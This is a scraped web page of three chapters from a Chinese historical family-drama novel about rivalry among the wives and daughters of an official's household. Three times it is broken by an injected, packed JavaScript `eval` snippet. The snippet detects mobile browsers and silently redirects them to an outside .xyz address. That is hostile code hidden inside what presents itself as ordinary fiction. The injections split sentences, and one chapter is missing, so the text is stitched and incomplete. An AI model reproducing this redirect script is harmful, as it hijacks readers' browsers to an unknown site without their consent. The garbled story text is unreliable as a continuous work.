;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183306|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在东院待久了,小娘都会叫人去请,今日怎地反而不计较了? “这会子不能请,你别看大娘子平日泥塑木人一样,她其实可会哄人了。”崔小娘摇头,说,“她就是吃亏在长得差了些,还有就是你祖母护着我们,否则家里哪还有我们的好日子过。” “怎么可能,小娘你也太高看她了吧?”婉蓉有些不敢相信地说。 “哼!她能在关大娘子后头当稳了大娘子,让你爹敬重、还给钱财补贴……你以为她就真是个蠢货?”崔小娘每次听自家女儿这没脑子的发言就气的脑仁子疼,却又不得不压着脾气谆谆善诱、仔细分析,“你想想,关娘子那样的人物,后头跟着她这么个不出彩的,她却能得你爹的看重,这是因为什么?” 看婉蓉一脸糊涂,崔小娘就知道她想不到,崔小娘叹了口气,恨铁不成钢地说:“还能因为什么,不就是因为她会揣摩你爹的心思?” “你且看着吧,保证今天她能把你爹哄得回心转意,搞不好还觉得这些年她也确实不容易呢!”崔小娘摇摇头,带着点讥讽地说,“你大姐姐看着与往日不一样了,但是明儿你大姐姐若是拿这件事告状的话,只怕反而还得被你爹爹斥责。” 婉蓉不敢置信,连声说:“不可能!爹前几日才给大姐姐送那么多东西,连我的钗子都要送去了,怎么可能斥责大姐姐?何况小娘你不是才说了,父亲对大姐姐的阿娘心中想念,怎么也不会让人受委屈的吧?!” 崔小娘努力耐心教她:“你想想,你大姐姐今日打的可不只是孙大娘子与你祖母的脸皮,这可是李家的后宅之事!” 说到这样直白,婉蓉终于明白了,露出恍然大悟之色。 确实,大姐姐如此宣扬家中阴私,父亲未尝不会觉得大姐姐置整个家的名声于不顾。 想到这里,婉蓉总算是回过味来,只到底是不甘心,说:“可惜了,便宜婉淑了!” 崔小娘也知道这回孙大娘子怕是又赢在前头了,她虽然心里可惜,但是倒也不是特别惋惜,毕竟对面再怎么努力,到底也就得郎君几分敬重,和她快二十年的情分比起来,绝对无法撼动。 再说,她也不是没有倚仗。 “走,你爹爹不来,我们去你祖母那里一起用夕食。”崔小娘换了笑脸,对婉蓉说,“你祖母平时最疼你们了,咱们多陪陪她。” 二人去了老夫人屋里,老夫人见二人过来,便立刻笑着叫下人:“陈妈妈,婉蓉来了,去叫厨房加一道酿茄子!” “祖母真好!”婉蓉立刻笑着上前撒娇。 一时之间,正院立刻便热闹起来。 而另一头,孙大娘子却没有崔小娘二人想的轻松,她前一刻正满脸泪痕坐在李珺的书房里擦脸。 而她的额头上,赫然还有一道血痕。 正是方才李珺盛怒之时砸到的。 第三十一章 话当年 李珺一回来,就听下人说起了白日的事情。 李珺听完,本来擦脸的手顿住,放下帕子挥挥手让下人退下,才深呼吸几口气,端了茶盏喝茶。 偏就在这个时候,孙萍进来了,李珺本在极力压抑自己的情绪,此刻看到孙大娘子,脑海之中一直回荡着那句“都怪你娘死的早!”,李珺心中狂怒终于彻底爆发,茶盏朝着孙大娘子的脸上砸过去,砸的孙大娘子当场额角就是头破血流。 “你这毒妇!你把好好的孩子都教成什么样了!”李珺想到早逝的发妻,看孙大娘子额角流血,依然无法抹去胸口震荡的怒火,他抖着手指指着孙大娘子,痛心地说,“我一直当你是个大度贤淑的人,一直给你体面,你在背后竟如此想的吗?婉玉那丫头日子过得不好,得怪她娘**?你就是这样想的?!” 李珺心中即痛且怒,他自续娶以来,一直觉得继妻性子宽和、有主母风度,也是因为这个原因,李珺一直敬她三分。 却没想到婉淑竟能与朋友一起这样对她大姐姐说话,简直是诛心之语! “老爷!老爷你息怒!我正是为了此事来的!”孙大娘子一听就知道糟糕了,她紧赶慢赶,却没想到还是慢了一步,还是先让李珺知道了这事儿。 此时她也一不做二不休,上前一步避过地上的碎片跪下来,眼泪一下子跟着下来了。 孙大娘子哭着说:“事到如今,我说我从未如此教导过淑儿,说我真的不知此事,想来老爷也定然是不信的。既然如此,老爷便休了我罢!” 这话一出,反而让李珺的狂怒一下子像是被浇了冷水一般,猛地从那过度愤怒之中抽离出来,彻底清醒了。 李珺看着地上满额头是血的孙大娘子,看她满脸泪水,只是哭着,却不为自己分辩。 李珺这才猛地想起来,自己这个继妻他是知道的,原先他本没想娶她,当初他放出风声需要续弦时,立刻便得了许多暗示。 便是连当时的上峰也曾暗示过,家中也有适龄的女儿。 可最终李珺却选了孙大娘子这个寄住在舅舅家的县丞之女,不但家世不显,便是连外貌也不甚出众,惊掉了众人的下巴。 许多人都不知道缘由,只当是李珺不想继妻家里太复杂,毕竟前头还有个嫡女在,也是一片拳拳慈父之心。 但是唯有李珺自己知道,当时他心中根本没有孙大娘子这个人选。 因孙大娘子在一众人选之中,容貌与家世都算是末等,李珺当初是想找个出身差一些的,也免得多生事端,却也没考虑到她。 之所以心中定下孙大娘子,乃是因为一次在同僚宴请之中,路过花园,却听到了两个女子在刁难欺负另一个女孩儿。 当初的孙大娘子还是寄人篱下的孙姑娘,父亲乃是九品县丞,多年仕途无望,母亲早逝,家里小妾当家,没有她的立足之地,她寄居舅舅家,被家中同辈欺负,也是常事。 那天李珺看到的,就是孙大娘子舅舅家里的两个女儿正刁难她,非让她寒冬腊月跳到水里去捡掉下去的钗子。 李珺当时听到的时候,就心中大为震惊,再看到那个傻姑娘居然真的往水里跳进去,去找那个钗子,顿时大为惊讶,只是他作为外男不可久留,到底是只能离去,后来回去之后却一直记得这事,心中只觉得这姑娘实在是可怜。 但是只是因此,李珺却也不会与这姑娘结缘。 直到李珺去流云台寺为发妻续长明灯的香油钱,再次遇到了孙姑娘。 孙姑娘这回更可怜了,身上一身单薄旧衫,跟在舅母身边,不像是借居的亲戚,倒像是个丫鬟一般,忙前忙后地提东西张罗,看着辛酸。 李珺当时看她入水之后没生病,心中只觉得怜悯却也稍稍放心,除此之外没想太多。 却没想到孙姑娘却是真的太苦了,李珺在寺里散步到角落,突然听到熟悉的呼救声,他闻声过去,刚好看到孙姑娘被一个男子拉着往厢房里去。 李珺定睛一看,那男子竟然是孙家的表少爷! 那人出名的贪花好色,显然是逮住机会,竟然想欺辱孙姑娘! 李珺当时看不过去,大怒走过去斥责这个表少爷,救了孙姑娘。 那表少爷见被人撞破,又是官宦,臊眉耷眼地跑了,留下孙姑娘呆了半晌,等到李珺上前发问,才像是一个激灵清醒过来,嚎啕大哭。 李珺心中怜她身世可怜,不忍离去,一直安慰。 孙姑娘虽相貌普通,但是到底青春年少,也有几分楚楚可怜的风姿,让李珺心中益发有了点英雄救美的豪情。 两人也是因此事有了些交际,一下午聊下来,李珺发现孙姑娘平日看着木讷,其实却是个温柔大度的人,舅母一家如此待她,她也不恨,反而在李珺试探时,总说起舅母与堂姐妹们对她好的地方。 只说到那表少爷的时候,有些害怕而已。 李珺当时心中猜测,这表少爷,怕是孙姑娘舅母故意安排的。 这登徒子名声太差,已经找不到同龄闺秀,寄人篱下的孙姑娘自然也就成了最好的对象。 只有这傻姑娘不明白自己是被设计了,还在自己面前努力说舅母的好话,又说了自己以后要躲着点那个表少爷,等表少爷走了就好了。 她大概不知道,不出意外的话,她应当是躲不过这个表少爷的。 想到这里,李珺对孙姑娘的怜悯到了巅峰。 于是等到孙姑娘泪眼婆娑又有点不好意思地自卑说起“我真羡慕关娘子,能嫁给您这样的有才学的人,换成是我,便是让我只再活一年就死,我这辈子也值得了。”时,李珺心中对她的怜悯与豪情瞬间一动,一下子变了个味道。 一个闺秀,能说出这样的话,已经是胆大包天,几乎已经是在明确地对李珺表达倾慕。 “你不会出事的。”李珺当时那一瞬间,突然就心中下定了决心,他决定,娶这位孙姑娘当做续弦。 这里面有很大的因素,是因为当时李珺与上峰的观念并不合,他心中并不想与上峰关系太密,且其他家的姑娘他也考量过,一则怕容不下婉玉这个女儿,二则又怕容不下崔妙人母女。 如此左右思考,在这一瞬间,李珺觉得孙姑娘是个非常好的人选。 她性子敦厚,如此遭遇,只怕更能理解崔小娘的不易,也更能考虑到发妻留下来的女儿的处境。 原本是一时冲动,李珺却事后越想越觉得,此事极好。孙姑娘竟是他目前处境与考量里,最好的一个人选。 当然,被一个妙龄的闺阁少女暗自倾慕,甚至还如此仰慕地看着,让李珺实在无法看着这个姑娘走向绝路,也是最大的原因。 其他的姑娘不嫁给他还有很多好出路,但是孙姑娘若是没有他,只怕这辈子再没好日子过了。 这样想着,李珺心中愈发下定了决心。 而后他看着孙姑娘诧异地瞪大眼睛,而后看着自己的表情,似乎理解到了什么之后,一瞬间脸上飞起的红霞,害羞地低下头,露出一大截雪白的脖颈。 李珺一直记得那个画面,记得流云台寺后院厢房廊下的孙姑娘,那是他为数不多为孙姑娘心动的瞬间。 那个孙姑娘,质朴、憨厚、温顺又带着自卑可怜,被自己回应之后的狂喜与一串串落下来的泪珠,像是一颗颗地敲在了心上。 此刻李珺看着孙大娘子,想到成婚那日,温厚的孙姑娘后来被他娶回家,虽是正妻,本可以穿正红,但是孙姑娘却穿的是一身稍稍偏深红的嫁衣。 “我知我远不如关娘子,知道夫君娶我,亦是出于怜惜。我心中感激,日后必定日日侍奉,绝不逾矩。”温厚的孙姑娘含泪笑着对他说,“我会永远把关娘子当姐姐,初一十五,定当日日进香,逢年过节,绝不敢忘。” 李珺当时心中的怜爱与感动变成了震撼,他未曾想到孙姑娘居然温厚至此,竟能在女儿家最重视的大婚之日,都如此礼让一个不在世之人。 哪个女儿家不想成婚时穿着大红嫁衣出嫁? 可是她居然穿着妾室一般的嫁衣出嫁,只为了礼让不在世的发妻。 李珺知道她温厚,却不知道她竟然敦厚大度到了如此地步,与她进门之前母亲强令自己把家里的账本与女儿婉玉的教导都得挪到自己的房里去的戒备相比,更是愈发显出差别。 而且其后孙姑娘变成了孙大娘子,进门十几年,一直保持住了这份敦厚大度,纵然李珺并不常去她那里,有了婉淑与辰瑜之后,就更是益发只把她当了个摆设。 但是孙大娘子却从不抱怨,家里事事打点妥当不说,每月管家大小事,从人情往来到账本,从来都是与李珺交代得清清楚楚,一心带孩子,把婉淑也教导得很好,几乎是人人称赞。 而现在十几年过去,她还是以前的样子,看着温厚,又不太会为自己分辩,这种时候,任谁都要为自己匆忙说一百个理由来,她却依然只会哭,仿佛当年在流云台寺后山的厢房廊下哭着看自己的姑娘。 李珺突然看到了跪在地上的孙大娘子额头有了几缕白发,夹着额角的血,显得那么刺眼。 他的盛怒一下子消散的干净,脑中迅速划过这些年种种相处,猛地心中反而涌出一股懊悔和怆然来。 李珺心中冷静下来,看孙大娘子眼圈通红,也是不知为何鼻子发酸,然后沉默一下,说:“婉淑那几个朋友,尤其是那周丽娘,他家那个续弦是武将出身,女儿也养的性情娇纵跋扈,叫婉淑日后别老和她来往。不然好好一个姑娘,生生被带坏了!” 孙大娘子闻言,知道这一关熬过来了,她心中猛地松了一口气,面上却纹丝不动,只含着泪水看着李珺问:“老爷,你不疑心是我与淑儿说了什么吗?” 李珺听她这么说,更为内疚,轻声说:“我知道你不是这样的人,我方才……也是气糊涂了,对不住你。” “你不疑心是我说了什么就好。”孙大娘子含着泪笑着摇头,一边拿手帕擦泪一边轻声说,“当年流云台寺,夫君你跟我是我不会出事儿,没几天媒人上门,那时候我就跟自己发誓,这辈子,夫君就是我的大恩人,是救我出火坑的恩人……只要夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183307|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君你不赶我,我这辈子都要跟着你,好好侍候你,帮你打点家里。” 她这话说的李珺心中愧意更甚,到底是陪伴自己多年的妻子,李珺也觉得今日自己实在是太冲动鲁莽一些,放低了声音小声安抚孙大娘子,又叫周妈妈去请郎中上门,这一番忙活完才匆匆摆了晚膳,稍微吃了一点,李珺就干脆歇在了东院。 两人晚上说起当年的岁月,又让李珺想到了当年孙姑娘的样子,又加上感念她十几年如一日的温柔大度,倒是难得重温旧梦。 一场风波,到头来不但让孙大娘子化为无形,甚至还让冷淡许久的夫妻关系更和睦了。 李家平静下来,竟是却有人家,正在说起李家的事情。 当先就是周家。 “你这个蠢货!”周丽娘的阿娘一回来就听嬷嬷说了白日事情,她气得拍桌怒骂,“我一直跟你说,那李婉淑不是个省油的灯!你这个猪脑子,今儿是她和她娘**李婉玉出了丑,你巴巴去给人帮忙算是个什么事儿?” “我又没说错!本来就是李婉玉她混账!”周丽娘却不甘示弱,委屈地大吼,“她还冤枉我呢!阿娘你都不帮我说话!” “我帮你说个屁的话!你听听你自己说的是人话啊?什么叫人家阿娘死的早?这话换我听了也想打死你!”周丽娘的阿娘怒吼。 “反正阿娘就是不喜欢我,嫌弃我蠢!”周丽娘一听,也是大怒,立刻哭喊一声,转身立刻跑走。 “你——”周丽娘的阿娘气的重重跌坐在凳子上,气的一直揉心口,对着乳母哭喊:“妈妈,我这是做的什么孽啊,养出这么个蠢驴子来!” “姑娘还小,娘子你耐心些慢慢教吧。”乳母也只能苦笑着劝,低声劝慰,“娘子,如今之计还是得想办法,可别叫大姐儿和哥儿心里记恨,跟您离了心,老爷那边,也得赶紧先去说说……” 周娘子神色一凛,恨恨地说:“你说的是。李家那个小贱种,拿我女儿当枪使就算了,还惹的我家宅不宁,你去,叫人把二姑娘关屋子里,不许随便出去!她如今年纪也不小,是该看亲事了,别叫她找机会又去李家!” 乳母一愣,轻声迟疑地问:“那二姑娘与李家大郎的事情……” “别再说了!”周娘子皱眉,冷声说,“原先是想着丽娘自个儿喜欢,李家瞧着是兴旺之家,那李家大郎虽是庶出,到底会读书,家里小姑还是手帕交,丽娘嫁过去总归吃不了苦……如今妈妈你瞧瞧,哪一样对路了?” 乳母立刻点头,赞同地说:“娘子顾虑的是,李家怕不是外甜内苦呢!” 不只是周家,白日不少人都见了李家的风波,好几家都暂时歇了家中女儿与李家两个小郎君相看的心思。 除了这些人家,有一处也在说起关怀素。 “爷,今儿个您不在时,赵二郎一直在拉着太子殿下看李大姑娘。”夜里,白日跟着的侍卫禀告,“赵二郎还特地说李大姑娘善音律,太子若是想听,可以招她奏乐。” 来福正给周乐天脱外裳,周乐天神色冷厉,说:“他怎敢如此!” 他大怒之下,杀气逼人,只是下一刻,周乐天就捂住心口,跌坐在榻上。 “爷,我的爷啊!您现在可不能这么发火,快、快拿救心丹来!”一旁的来福看周乐天如此发火,顿时吓得翻出救心丹塞到周乐天口里。 浓浓的人参味儿溢满口腔,周乐天颤抖的手指才稳定下来。 “他们都算计着,只想先弄个孩子出来,好承载他们的野心与谋划。”周乐天冷声说完,扶着胸口,苦笑说:“罢了,连舅舅都不管,我来生气又有何用?” “侯爷息怒,殿下并不感兴趣,还斥责了赵二郎扫兴,便歇了话头。”那侍卫看侯爷气得差点发病,生怕出事,连忙说。 “这话你不早说?你诚心气我们爷啊!”来福气得大怒,恨不得上前踹这侍卫一脚。 侍卫连忙磕头,连声说:“侯爷赎罪,是小人口拙!” “罢了,无事就好。”周乐天挥手,疲惫地思考了一会儿。 他很想为信任自己的弟弟做些什么,可是……周乐天闭了闭眼睛,最后只能叹了口气,吩咐:“给太子殿下传个信,就说我今日身子尚可,他若是想出门,定要叫我。” 这便是,昔日能领十万大军驰骋杀敌的他,如今唯一能做的事情了。 周乐天看着自己的右手,愣愣出神。 侍卫领命离开,来福见到自家爷突然伸手想握住桌上的砚台。他用力一抬,砚台离开桌面,来福还没来得及喜悦,下一刻那砚台就落在桌上,铺开的纸上溅开了满纸墨渍。 周乐天看着自己的手,愣愣地说:“来福……我这只手,曾能挥动八十斤**的。” 如今却连一块厚实些的墨砚都拿不起来了。 “爷……”来福心中大痛,眼泪瞬间落下,哽咽说,“爷,您别想了……您别想了……太医说了,您这身子,再不能思虑伤身了啊……” 来福痛哭之中,这人心浮动的一夜,终于落下了最后的尾声。 第三十二章 各人筹谋 第二天一大早,李家东院喜气洋洋。 孙大娘子亲**伺候着李珺换了衣衫赶去上朝,周妈妈忍了一晚上的笑容才怒放出来。 “还是大娘子有本事!”周妈妈伺候着给孙大娘子挑配衣衫的首饰,笑着说,“不但化解风波,还得了老爷心疼。” “先别忙着笑。”孙大娘子脸上也是光彩照人,虽然如此说,脸上却也带着笑容,不知是在叮嘱周妈妈还是跟自己说,“今儿还不知道西院那边会不会拿这个事情去老夫人那边嚼舌根,若是大姑娘还想拿这事儿说话,且还有的磨人。” “哼,她今儿若是巴巴再拿这事儿说,说不得反而招老爷烦心。什么事儿都拿去外头说,也不嫌弃人家看笑话!”周妈妈说完,又笑着说,“老爷是念旧情的人,但也不是只她有旧情,这些年娘子你辛辛苦苦,老爷不也看在眼里么?” 这话说得孙大娘子通身舒畅,脸带笑容。 但是她到底是个谨慎人,因此只笑着说:“好了,别多说了。不过你说得对,她若是真要找事,刚好也杀杀她近日的气焰。” 说到后面这两句,孙大娘子脸上的笑容没了,换成了隐约的怒意。 因为昨儿虽哄好了老爷,但是宴会上被人笑话,回来后又哭又跪,额头上的伤口还在隐痛。而这些,都是怪那继女牙尖嘴利,才惹出这一场风波,孙大娘子恨恨地想着,轻声说:“就看崔妙人怎么起哄架秧子了。” 一大早,众人在老夫人处请安。 崔妙人天没亮就已经伺候在老夫人这里,众人见礼坐下,寒暄了一会,崔小娘猛地说起昨儿的宴会来:“老祖宗,听说昨儿赵家赏花宴太子爷也去了,好生热闹呢!” “是,太子听说赵大人得了一株稀罕的紫色重瓣五层塔菊花,特地带了人来观赏。”孙大娘子心想“来了”,面上只笑着说,“我也看到了,那花确实漂亮,开的碗口一般大不说,细看花瓣上洒了银霜一般带着光,真正是漂亮!” 老夫人一听,立刻露出向往之色,说:“哎呀,听你这么一说,果然是稀罕,我竟也没见过开得这么好的紫菊。” “对啊,不知大姑娘昨儿可看到了?”崔小娘突然把话题引向了正在出神的关怀素。 关怀素笑着摇头说:“我见那地方人多,就没进去看,倒是没有眼福。” 崔小娘立刻就露出笑容,轻声说:“大姑娘可是昨儿与三姑娘吵嘴,才没心情去看紫菊?” 她这话一问,老夫人立刻皱眉问:“怎地在人家家里吵起来了吗?” 婉蓉等着呢,立刻绘声绘色把昨儿的事情说了。 “荒唐!”老夫人听到这里,气的就看着婉淑骂,“你这是说的什么话?什么叫玉丫头过得差全赖她娘死的早?你这话给别人听到,别人如何想我们家,如何想你和你娘?如何想辰瑜?!” 老夫人十分关切李辰瑜这个嫡子,说到最后一句时,明显地带着紧张和怒意。 关怀素听到这里,明白了崔妙人的意思。 崔妙人想拿此事做筏子,与她打个配合,让老夫人惩罚婉淑,最好父亲下值后责罚一下大娘子与婉淑最妙。 但是关怀素却不打算接招,只沉默听着。 可老夫人呵斥完婉淑,又对关怀素说:“玉丫头,一家子姐妹,同气连枝、荣辱与共,日后你心里若觉得不舒服,切记别在外头说,回来我或你爹,自有家里长辈与你出头,女儿家何苦牙尖嘴利,让外人看着,倒显得自己不容人了。” 关怀素本来没打算说话,因觉得是白费工夫,可听到老夫人还倒打一耙,她登时气笑了。 关怀素笑问:“祖母的意思是,日后若是再遇到有人说我娘早逝,我活该过苦日子,我就应该笑着点头答应,说您说的是?” “我不是这个意思!”老夫人口舌并不灵巧,往日不过是仗着李婉玉温柔听话,如今换成关怀素,几句话就气的老夫人脑仁痛。 老夫人忍气说,“我是说你在外头人多的时候,有些事情不用太过计较,女儿家温厚才好!” “祖母快别说温厚了。昨儿大姐姐还在夫人们面前说,祖母您不许大姐姐罚下人,连下人偷窃钱财也不许惩罚呢!”婉淑被祖母没头没尾训斥一番,心里憋着气,此刻听到这里,想着自己不好过,大姐姐也不能过得快活,于是干脆把关怀素昨儿在众夫人面前说的话都抖露出来。 她说完,老夫人本来只是有些生气烦心,再仔细一听,知道全京师都知道她干的事儿,顿时气得差点一个倒仰! “好啊,我辛辛苦苦把你拉扯大,没有功劳也有苦劳,你在外头竟就是这么编排我的……”老夫人气得不行,指着关怀素气的全身发抖,破口大骂,“早知如此,当初我就不该把你养在我面前,我这些年虽对你严厉了些,但是也都是为了你好,却没想到忙来忙去,生生养出一个仇人来!” 说完,老夫人拍着膝盖,眼泪瞬间就流出来。 老夫人说的话极重,若是关怀素不道歉请罪,就活生生坐实了不孝。 孙大娘子母女与崔小娘母女都看着关怀素,所有人都是一个意思,等着关怀素向老夫人请罪。 毕竟孝比天大,老夫人作为祖母被孙女气哭,怎么说都是关怀素的错。 “倒是我的错了。”关怀素起身行礼,对老夫人说,“当日我只是随口说了一句祖母仁慈,母亲也特地解释了,说祖母因为信佛,从不肯随意惩戒下人……句句都是大实话,并无编排祖母的意思,不知为何却让祖母觉得我是在把您当仇人?祖母若是觉得婉玉哪儿说的不对,还请祖母示下,日后婉玉绝对不会再犯。若是仅仅因为婉玉不小心说错话而说婉玉不孝,那婉玉年纪小,可当不起这么大的罪名。” 说是道歉,但是关怀素说话声音不卑不亢,一点也没道歉的意思。 而且她的话里意思很明确,老夫人哭着说她不孝,到底是因为什么?是因为说了老夫人在家里要求她对下人宽和,不许惩戒偷窃的下人吗? 可是这可是老夫人这些年亲口要求的。 若是老夫人因为她说出去而哭泣,说关怀素编排她、不孝顺,可问题是,这不就等于是老夫人自己承认了,这些年她所作所为是错的,是在故意打压这个大孙女,所以才害怕外人知道? 这话一下子问到了点子上,老夫人的哭声瞬间戛然而止,她哑口无言。 关怀素看向婉淑,冷声说:“还是三妹妹觉得祖母训诫是错的,我在外头如实以告是在编排祖母?” 这话一下子让婉淑也哑口无言。 她心里当然觉得祖母这样做是错误的,可是问题是婉淑她当然也不能承认,于是整个场面顿时一静。 “大姐姐说的对!”婉蓉乐的火上浇油,立刻起身扶起老夫人,一副义愤填膺的样子说,“本就是三妹不该在外头带着朋友胡说八道欺负大姐姐,这会儿倒是拿祖母说事儿了!”又拉着老夫人的手撒娇:“祖母,你可别因为这个生气,不值当的!” 老夫人正不知如何下台,婉蓉解局,老夫人便拍了拍婉蓉的手,一副欣慰的样子,轻声说:“蓉儿孝顺。” 又对众人叹气,一副意态萧索的样子说:“我年纪大了,许多事情也不想管了,外头怎么编排我也无所谓,反正也没几年好活了。” 孙大娘子立刻起身行礼,说:“母亲何故说这等不吉之言,是我没教导好婉淑,叫婉玉受委屈,带累了您,一切都是媳妇的错。” 孙大娘子这一番话,站在主母的立场上揽下一切事情,便是一直对她冷淡的老夫人也十分满意,点点头,只留了崔小娘和婉蓉,叫其他人自去。 众人便请安出来。 出门后,孙大娘子笑着对关怀素说:“婉玉,你三妹妹年纪小一些,性子憨直,你这个姐姐不要与她一般计较。” “母亲言重了。”关怀素垂眸恭敬行礼,礼仪挑不出一丝毛病,一派温和地回答,“婉玉是长姐,怎会与妹妹一般计较。” “你一直都是如此懂事,让人放心。”孙大娘子温声笑着说完,转身带着婉淑一路回去。 她转过身就沉下了脸。 婉淑是孙萍手把手悉心教导,行事城府虽比不上她当年,但也是一干闺秀里心思沉静的,没想到如今却在一贯受气包的婉玉身上一再受挫。 不但一点便宜没占到,且还连续几次碰了一鼻子灰。 可见关怀远当初在庄子上留下的后手果然厉害,短短半年竟让人脱胎换骨了! 孙大娘子恨恨地想,也是,当年名满天下的人物,定然是筹谋甚远。 可恶,早知道,当初就应该极力阻止婉玉被送去庄子! 孙大娘子沉着脸带着女儿进了院子,一进屋,憋了一路的婉淑委屈的眼圈瞬间红了,带着哭腔喊:“阿娘,你方才怎么不帮我,还给大姐姐告罪,明明不是我的错,是大姐姐故意曲解我的意思……” “你竟还在纠葛谁对谁错!”孙大娘子听到婉淑这么开口,顿时也急了,说,“争出对错有什么用?你能不能跟你大姐姐学学?!” “我跟她学什么?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183308|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉淑本就委屈,听阿娘这么一说,本来强忍住的眼泪瞬间夺眶而出,哭着说,“阿娘,你也觉得是我的错吗?” 孙大娘子被她哭得本身就疼的脑袋更是头疼,她扶额,一时气地捂着心口,竟不知道怎么说话。 “哎哟姑娘啊,你先歇歇,你先听娘子怎么说啊!”周妈妈吓得不行,立刻上前给孙大娘子顺气,刚巧外头丫头进来送朝食,周妈妈立刻便说,“姑娘,昨儿晚上大娘子还想着你受委屈了,特地吩咐今日一定要做些温补的给你养养身子。” 周妈妈指着那才摆上桌、香气四溢的面,说:“姑娘你看看,大娘子昨儿半夜吩咐下去,厨房连夜用老母鸡、猪骨并鲫鱼、山菌吊的高汤,今日厨下又是一大早特地用鸡蛋揉出来的龙须面,还专门沥了油,保证补身子又不腻,姑娘你想想,这天下里,除了自个儿亲娘,谁能做到如此地步啊?” 婉淑看着八仙桌上摆着的那碗面,龙须面细如发丝,上面摆着几颗脆嫩的小青菜,闻着鲜香却一丝油腻气息也无,她心中感动,看阿娘气得厉害,也知道自己不对,立刻上前拉阿娘的手道歉:“阿娘,我方才也是气到了,并不是埋怨阿娘的意思。淑儿不懂事,阿娘你教我!” 孙大娘子被她这么拉着手撒娇,自己亲骨肉,哪里真能生气?她也冷静下来,叹了口气,说:“也是我着急了,你大姐姐眼看着半年竟厉害了这么多,叫我担心。” 她拍了拍婉淑,心中知道,此事不能责怪婉淑。 婉淑毕竟与她当年不同,当年她一着不慎就会坠入万丈悬崖,而婉淑有底气,有自己这个阿娘照顾,一路顺风顺水,没遇到事情尚可,遇到了自然不会处置。 得慢慢教。 孙大娘子想到这里,暗暗吐了口气,才温声对婉淑说:“你看看你大姐姐,往日她可曾被冤枉?她以前是怎么做的,如今又是怎么做的?” 婉淑冷静下来,仔细想阿娘的话,才突然惊讶地说:“大姐姐以前被冤枉,都是哭,后面这几年哭都不哭了,只知道安静请罪,不敢一丝不恭敬。” “那这几日她如何做的?”孙大娘子见女儿反应过来,立刻循循善诱。 “大姐姐不解释,而是直接反击,哪怕面对祖母也是如此,且还让人找不到不对的地方。”婉淑有些惊恐地说,“阿娘,大姐姐不可能这么厉害吧?她之前明明……” 之前明明那么口笨舌拙的一个人啊! “你以为你大姐姐的外祖父是什么人物?”孙大娘子叹了口气,说,“你们年纪小不知道,当初关老先生其实曾是当今圣上的半个老师,只是关老先生不爱教导皇女皇子,自请去的工部。” 婉淑还真不知道这样的往事,她一直以自己身份比姐妹们高贵为傲,素日还以为大姐姐只是个丧母孤女,却没想到竟比她强数百倍不止。 她不敢置信看着阿娘,孙大娘子低声对她说:“此事你心里知道就好,不要到处去说,当年关娘子是下嫁,你爹爹并不喜欢家里有人说起这事儿。” 然后她说完又说:“当初关老爷子门生满天下,他那一脉弟子又出名的性情耿直中正,也不知道是哪位,居然能隐姓埋名在庄子上过这些年……”感叹了一瞬,孙大娘子压低声音说,“总之你大姐姐如今不比以前,你可千万千万别拿以前的那样子和她说话了!” “阿娘,大姐姐如此厉害,那万一二哥哥看上她了怎么办啊?!”婉淑想清楚之后,到底是闺阁女儿,立刻便想到了自己最关心的意中人的事儿。 “不怕!”孙大娘子这会儿跟婉淑说话之中,也逐渐头脑清楚,此时已经完全想清楚办法,拿起茶杯喝了一口,气定神闲地对婉淑说,“她如今再厉害,也是个未出阁的女儿,日后你不但不要与你大姐姐置气,反而要对她和气一些。” 叮嘱完,孙大娘子说:“到年关之前,我定然把你大姐姐的事儿定下来就是了。” 一个女子,到底不是男儿,惹不出什么大风浪,一份嫁妆嫁出去,再聪明,嫁的低些,这辈子也翻不出什么风浪了。 自己也是在后宅顺风顺水惯了,这一大早的,竟然也真的为一个继女闹的头疼,真是不该。 孙大娘子这么想着,已经彻底恢复了往日智珠在握、气定神闲的模样。 而婉淑听到母亲的话,想了一下,一大早的浮躁也慢慢褪去,而后人也慢慢稳重下来,对母亲点头说:“阿娘教导的是,婉淑明白了。” 看到一场小口角下来,身上微微的浮躁也褪去的女儿,孙大娘子立刻露出了欣慰的笑容。 第三十四章 会面 关怀素完全不知道一番话给二人听到,她一下午安安稳稳地看着书。 到了第二日一早,果然便听说太子回府了。 太子这贵客一走,山上的小道童看着都松快起来,大早上来送早膳的时候说话声音都大了些。 关怀素便去了地藏殿,亲手给母亲的长明灯添香油,又亲手施粥,忙完已经到了下午。 想着收到信的钟妈妈和师兄也快到了,关怀素便大家伙儿都自去逛逛,她带着柳叶自行消遣。 如此安排好,她在寺庙大殿的榕树下站着,假作是在赏玩风景,实则等人。 